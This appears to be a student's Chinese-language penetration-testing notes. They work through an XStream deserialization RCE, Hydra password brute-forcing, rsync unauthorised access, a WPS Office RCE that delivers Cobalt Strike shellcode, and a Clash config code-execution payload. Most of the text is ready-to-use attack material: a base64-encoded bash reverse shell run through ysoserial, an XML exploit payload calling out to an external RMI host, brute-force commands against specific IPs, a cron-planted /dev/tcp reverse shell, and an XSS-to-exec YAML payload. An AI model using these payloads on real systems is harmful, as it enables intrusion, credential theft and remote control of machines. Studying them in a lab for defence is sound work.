<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>远程代码执行 (CVE-2021-29505)
远程代码执行 (CVE-2021-29505)
影响版本
- XStream <= 1.4.16
演示靶场
- vulfocus 靶场 xstream 代码执行 (CVE-2021-21351)
利用
生成反弹 Shell 的反序列化 JNDI 注入 反弹9999 端口
1
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1089 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"
构造反序列化 JNDI 注入 Payload 以 POST 提交如果没成功,
可以修改 POC 为 vulhub 的 POC:
https://vulhub.org/#/environments/xstream/CVE-2021-29505/
修改一下里面的 ip 和端口号即可
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>47.94.236.117</string>
<int>1089</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>47.94.236.117</host>
<port>1089</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
端口协议&桌面应用
知识点
- 端口协议 - 弱口令 & 未授权 & 攻击方式等
- 桌面应用 - 社交类 & 文档类 & 工具类等
常见端口服务
常见端口
网络常见协议端口及邮件服务端口
远程连接服务端口
文件共享服务端口、Web 应用服务端口及数据库服务端口
特殊服务端口
端口协议
口令爆破
Hydra
弱口令爆破工具 hydra:https://github.com/vanhauser-thc/thc-hydra
hydra 是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具,已经集成到 KaliLinux 中,直接在终端打开即可
部分可选参数如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。例子:
1
2
3
4
5
6
7FTP:文件传输协议
RDP:Windows远程桌面协议
SSH:Linux安全外壳协议
hydra -L usernames.txt-P 10top1K.txt 47.110.53.159 ftp -V
hydra -l root -P 10top1K.txt 47.110.53.159 ssh -V
hydra -l administrator -P 10top1K.txt 47.110.53.159 rdp -V
hydra -L usernames.txt -P 10top1K.txt 47.110.53.159 vnc -V
未授权案例
未授权利用项目 GitHub 地址:
https://github.com/xk11z/unauthorized
- 额但是好像不太准确?vulfocus 开了个 rsync 靶场,它没识别出来,开了个 redis 未授权访问也没识别出来
了解
- rsync 是 Linux 下一款数据备份工具,支持通过 rsync 协议、ssh 协议进行远程文件传输。其中 rsync 协议默认监听 873 端口,如果目标开启了 rsync 服务,并且没有配置 ACL 或访问密码,我们将可以读写目标服务器文件。
利用
判断:
1
rsync rsync://120.27.220.186:57830/
利用:
读取文件:
1
rsync rsync://ip:port/src/
下载文件:
1
rsync rsync://ip:port/src/etc/passwd ./
上传文件:
1
rsync -av passwd rsync://ip:port/src/tmp/passwd
反弹 shell:
获取信息:
1
rsync rsync://ip:port/src/etc/crontab /root/cron.txt
创建文件
1
2
3
4touch shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/attackip:port/5566 0>&1
chmod +x shell上传文件
1
rsync -av shell rsync://ip:port/src/etc/cron.hourly
等待接受反弹
只支持上传下载,不支持直接修改
桌面应用
应用 WPS
了解
- WPS Office 代码执行 (QVD-2023-17241) 影响版本
- WPS Office 2023 个人版 < 11.1.0.15120
- WPS Office 2019 企业版 < 11.8.2.12085
复现 & 上线 CS
- 简单复现网上 POC
分析 1.html poc.docx - 修改配合联动上线 CS
- 修改 html 中的 shellcode (C#)
- 修改 docx 中的指向连接 URL
- 修改 hosts 绑定执行域名规则
- 漏洞触发需让域名规则满足 clientweb.docer.wps.cn.{xxxxx} wps.cn
- 实战中:申请 {xxxxx} wps.cn 域名
- 增加解析 clientweb.docer.wps.cn.{xxxxx} wps.cn ip 上面
- IP 架设 1.html 网站服务,修改 1.html 上线 shellcode
- CobaltStrike 使用教程详解(基础):https://blog.csdn.net/m0_73353130/article/details/131725759
测试过程
修改 win10 虚拟机中的 hosts,添加
1
127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn
在 win10 虚拟机中在 WPS RCE 复现目录下面使用 python 启动一个 web 服务,并监听端口
1
python -m http.server 80
使可以访问到 127.0.0.1/1.html
然后安装好目录下面的 wps,直接打开 poc.docx,会发现弹出了计算机 (实现了复现),但实战中不能只弹出计算器,下面来使其 win10 上线到 cs
在 kali (小迪用的是本机,我的 Windows 打不开,所以就用 kalil 了) 中打开 CobaltStrike,之后添加监听器
添加一个监听器 wps-rce 监听 7777 端口,ip 为本机然后点击 Payloads->Stager Payload Generator-> 选择刚才创建的监听器,Output 选择 C#-> 然后生成 payload
将生成文件的那一串十六进制数据填写到 1.html 的 const shellcode = new Uint8Array ([这个里面]);
然后将新的 1.html 替换至 win10 虚拟机中
然后在 win10 虚拟机中重新打开 poc.docx,额这里小迪说要重新安装 (说不卸载的话会有缓存),但貌似不需要,只是有的那个 cs 会有延迟,所以需要等一下,我的就是,刚开始以为需要重新安装,后来发现不需要,一下子蹦出来好几个,机器上线成功
注:后门并不是在 poc.docx 里面,而是在 1.html 中,其实是远程加载,因为打开这个 poc.docx 时会请求那个 1.html
为什么打开这个 docx 会请求那个 1.html
使用打开压缩包的软件打开这个 docx,会发现里面
docx 文档里面可以插入远程图片或访问外部网站,而一旦有了这些功能之后,就会在 docx 里面就会多出 webExtensions
打开 webExtension1.xml,发现其中的 url 是之前设置的解析到本地的域名,并且访问的是 1.html
将之前的 1.html 放置到 kali 的 /var/www/html 路径下,并且在该目录下使用 python 开启一个 web 服务,使其可以被访问到
1
2
3python -m http.server 80
# 访问192.168.159.128/1.html,小迪这里是使用的8080,是为了区分,
# 但这里设置成80的话就不用改那个docx里面的webExtension1.xml然后重新修改 win10 虚拟机的 hosts,使那个域名指向 kali 的 ip
1
192.168.159.128 clientweb.docer.wps.cn.cloudwps.cn
然后重新打开 poc.docx 即可
这里刚开始有点毛病,没上线,但是访问了,然后我就试着按小迪的卸载了 wps 重新安装了一下,就可以了
但是之前确实不用,也不知道是什么毛病
QQ RCE 漏洞复现
- 影响范围:QQ Windows 版 9.7.13 及以前版本
Clash RCE 漏洞复现
影响版本
- Windows:Clash.for.Windows 版别 <= v 0.19.8
- Mac:Clash.for.Windows.app 版别 <= v0.19.81
利用
本地创立一个.yaml 的文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>Profiles 挑选导入.yaml
切换节点之后成功调用代码执行,执行了
若想上线 CS,可以使用 CS 生成 powershell 上线 payload,若不支持太长,可以 exec 远程下载然后再执行。